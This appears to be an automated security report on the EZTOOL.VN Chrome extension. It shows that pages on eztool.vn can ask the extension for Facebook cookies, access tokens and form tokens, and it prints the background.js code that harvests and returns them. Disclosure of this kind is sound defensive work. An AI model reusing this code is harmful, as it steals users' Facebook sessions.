Is EZTOOL.VN safe?

High risk

EZTOOL.VN is high risk. While signed in to Facebook, an allowed eztool.vn page can ask this extension for session details. The background accepts messages from eztool.vn, reads Facebook cookies, fetches pages with your credentials, and extracts access/form tokens.

zenius2009v1.2.7Chrome Web Store
72Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

eztool.vn can request Facebook session tokens

While signed in to Facebook, an allowed eztool.vn page can ask this extension for session details.

The background accepts messages from eztool.vn, reads Facebook cookies, fetches pages with your credentials, and extracts access/form tokens.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

An allowed eztool.vn page sends a message asking for Facebook session information.

The manifest allows eztool.vn pages to contact the extension directly.

The extension did this

The extension reads Facebook session material and returns it to that page.

The confirmed code path returns account ID, profile data, access tokens, form tokens, and cookie strings when available.

Facebook fields exposed by the external-message handlers
  • Facebook session cookies
    c_user=100083456789012; xs=12%3AabcDEFghijkLmN%3A2%3A1712345678%3A-1%3A-1

    These values identify an active Facebook browser session and can connect the request to your account.

  • Facebook access token
    EAAGm0PX4ZCpsBAN9R2xJdTh2VnZBYk1qWTFxV2FjQ2ZA6ZD

    This token can authorize Facebook API requests for the signed-in account.

  • Second Facebook access token
    EAAI7ZBzZA1ZCZA7ZAQ0J0Tk4xYU9KQWJIb2l2Q3lQZA2ZD

    A second token gives the requester another account-scoped credential from Facebook pages.

  • Facebook form tokens
    dtsg=NAcP9X4WbFqH7YlR8TsVzA; lsd=AVqP2mYkQ9E

    Form-token values help tie browser requests to your signed-in Facebook session.

  • Cached account data
    facebook_auth_cache_v1.updatedAt=2026-07-13T08:26:08.768Z

    Cached profile data can combine your account ID, name, token fields, and the time the extension saved them.

Captured request
GEThttps://graph.facebook.com/me?fields=id%2Cname&access_token=<redacted>

The code parses the JSON response as the signed-in Facebook account identity and later requests expanded profile fields.

The code that does this

External messages are allowed from eztool.vn and routed to Facebook session handlers

Readable version

Sender allow-list

js/background.js
function isAllowedExternalSender(sender) {  if (!sender || !sender.url) return false;  const url = new URL(sender.url);  const localhost = url.protocol === 'http:' && url.hostname === 'localhost' && url.port === '3030';  const eztool = url.protocol === 'https:' && (url.hostname === 'eztool.vn' || url.hostname.endsWith('.eztool.vn'));  return localhost || eztool;}

External-message listener

js/background.js
chrome.runtime.onMessageExternal.addListener((message, sender, sendResponse) => {  if (!isAllowedExternalSender(sender)) {    sendResponse(errorResponse(message, 'PERMISSION_DENIED', 'Sender is not allowed'));    return false;  }  (async () => {    if (isActionEnvelope(message)) {      sendResponse(await routeAction(String(message.action), message.payload || {}, sender));      return;    }    const request = normalizeBridgeMessage(message);    sendResponse(successResponse(request, await routeBridgeMessage(request, sender)));  })().catch((error) => {    sendResponse(errorResponse(message, error.code || 'REQUEST_FAILED', error.message || 'Request failed'));  });  return true;});

Action router

js/background.js
async function routeAction(action, payload, sender) {  switch (action) {    case 'GET_FACEBOOK_SESSION_INFO':      return getFacebookSessionInfo(payload || {});    case 'GET_ALL_COOKIES':      return chrome.cookies.getAll({ domain: String(payload && payload.domain || '') });    case 'GET_COOKIE':      return chrome.cookies.get({ url: String(payload && payload.url || ''), name: String(payload && payload.name || '') });    default:      return otherSupportedActions(action, payload, sender);  }}

Bridge router

js/background.js
async function routeBridgeMessage(request, sender) {  if (request.type === 'getCookie') {    const domain = String(request.payload && request.payload.domain || 'facebook.com').trim() || 'facebook.com';    return (await chrome.cookies.getAll({ domain })).map((cookie) => cookie.name + '=' + cookie.value).join('; ');  }  if (request.type === 'bridge:invoke') {    return routeBridgeChannel(request.payload, sender);  }  return otherSupportedBridgeMessages(request, sender);}

Bridge channel cookie access

js/background.js
async function routeBridgeChannel(payload, sender) {  const channel = String(payload && payload.channel || '').trim();  const args = Array.isArray(payload && payload.args) ? payload.args : [];  if (channel === 'ext:get-cookie' || channel === 'cookie:get') {    const domain = String(args[0] && args[0].domain || 'facebook.com').trim() || 'facebook.com';    return (await chrome.cookies.getAll({ domain })).map((cookie) => cookie.name + '=' + cookie.value).join('; ');  }  return otherSupportedBridgeChannels(channel, args, sender);}
The code that does this

The Facebook session handler reads cookies, fetches Facebook pages, extracts tokens, and caches them

Readable version

Cookie helpers

js/background.js
function getAllCookies(filter) {  return new Promise((resolve, reject) => {    chrome.cookies.getAll(filter || {}, (cookies) => {      if (chrome.runtime.lastError) reject(new Error(chrome.runtime.lastError.message || 'Cannot read cookies'));      else resolve(Array.isArray(cookies) ? cookies : []);    });  });}

Credentialed GET helper

js/background.js
async function getWithBrowserCredentials(url, headers) {  const response = await fetch(url, {    method: 'GET',    credentials: 'include',    redirect: 'follow',    headers: headers || { accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' }  });  return { ok: response.ok, status: response.status, url: response.url, text: await response.text() };}

Business billing token fetch

js/background.js
async function readBusinessBillingTokens() {  let page = await getWithBrowserCredentials('https://business.facebook.com/billing_hub/payment_settings/');  let finalUrl = String(page && page.url || '');  let html = String(page && page.text || '');  if (finalUrl.includes('/select/')) {    const marker = '"businessID":"';    const start = html.indexOf(marker);    if (start >= 0) {      const valueStart = start + marker.length;      const valueEnd = html.indexOf('","', valueStart);      if (valueEnd >= 0) {        const businessId = html.slice(valueStart, valueEnd);        page = await getWithBrowserCredentials('https://business.facebook.com/billing_hub/accounts?business_id=' + encodeURIComponent(businessId));        finalUrl = String(page && page.url || finalUrl);        html = String(page && page.text || html);      }    }  }  const checkpoint = checkFacebookCheckpoint(finalUrl, html);  if (checkpoint) throw unsupported(checkpoint);  const tokens = parseBillingTokens(html, false);  if (!tokens) throw new Error('Cannot parse Facebook tokens from billing_hub');  return tokens;}

Ads Manager token fetch

js/background.js
async function readAdsManagerTokens() {  let page = await getWithBrowserCredentials('https://adsmanager.facebook.com/adsmanager/manage/campaigns');  let finalUrl = String(page && page.url || '');  let html = String(page && page.text || '');  const redirectMatch = html.match(/window\.location\.replace\("(.+)"/);  const redirectUrl = redirectMatch && redirectMatch[1] ? String(redirectMatch[1]).replace(/\\/g, '') : '';  if (redirectUrl) {    page = await getWithBrowserCredentials(redirectUrl);    finalUrl = String(page && page.url || finalUrl);    html = String(page && page.text || html);  }  const checkpoint = checkFacebookCheckpoint(finalUrl, html);  if (checkpoint) throw unsupported(checkpoint);  const accessToken = html.match(/window\.__accessToken="([^"]+)";/);  if (!accessToken || !accessToken[1]) throw new Error('Cannot parse secondary Facebook tokens from adsmanager');  const formTokens = parseFormTokens(html);  return { accessToken2: String(accessToken[1]).trim(), accessToken: String(accessToken[1]).trim(), dtsg: formTokens.dtsg, dtsg2: formTokens.dtsg2, lsd: formTokens.lsd };}

Facebook session response

js/background.js
async function getFacebookSessionInfo(payload) {  const cUser = (await getAllCookies({ domain: '.facebook.com' })).find((cookie) => cookie && cookie.name === 'c_user');  const uid = String(payload && payload.uid || cUser && cUser.value || '').trim();  if (!uid) return { uid: '', name: '', accessToken: '', accessToken2: '', tokenCandidates: [] };  const primary = await readBusinessBillingTokens().catch(readBusinessUsersTokens);  const secondary = await readAdsManagerTokens().catch(readAdsBootloaderTokens);  const accessToken = String(primary.accessToken || primary.token || secondary.accessToken || '').trim();  const accessToken2 = String(secondary.accessToken2 || secondary.accessToken || '').trim();  const user = await fetchFacebookUser(accessToken);  await cacheFacebookAuth({ uid, accessToken, accessToken2, dtsg: primary.dtsg || secondary.dtsg || '', dtsg2: secondary.dtsg2 || primary.dtsg2 || '', lsd: secondary.lsd || primary.lsd || '', user });  return { uid: uid || String(user && user.id || '').trim(), name: String(user && user.name || ''), accessToken, accessToken2, dtsg: primary.dtsg || secondary.dtsg || '', dtsg2: secondary.dtsg2 || primary.dtsg2 || '', lsd: secondary.lsd || primary.lsd || '', user: user && typeof user === 'object' ? user : null };}
What's stored on your device

The extension can save Facebook account and token details locally after reading them, making the same session data available from storage.

Location
chrome.storage.local key 'facebook_auth_cache_v1'
Contents
{  "lsd": "AVqP2mYkQ9E",  "uid": "100083456789012",  "dtsg": "NAcP9X4WbFqH7YlR8TsVzA",  "user": {    "id": "100083456789012",    "name": "Nguyen Van A"  },  "dtsg2": "NAcQ2pD6LkR4nV8sZtY",  "updatedAt": "2026-07-13T08:26:08.768Z",  "accessToken": "EAAGm0PX4ZCpsBAN9R2xJdTh2VnZBYk1qWTFxV2FjQ2ZA6ZD",  "accessToken2": "EAAI7ZBzZA1ZCZA7ZAQ0J0Tk4xYU9KQWJIb2l2Q3lQZA2ZD"}
Hosts involved in the confirmed code path
    • eztool.vn

    Allowed web origin that can send external messages to the extension and receive the returned Facebook session fields.

    • business.facebook.com

    Fetched with browser credentials so the extension can parse business-page token and form-token values.

    • adsmanager.facebook.com

    Fetched with browser credentials so the extension can parse Ads Manager access-token values.

    • graph.facebook.com

    Receives the parsed access token in a GET request so the extension can fetch Facebook account identity fields.

Updated 30 September 2026oeifegedbdbjcmooefolmnchojjihaap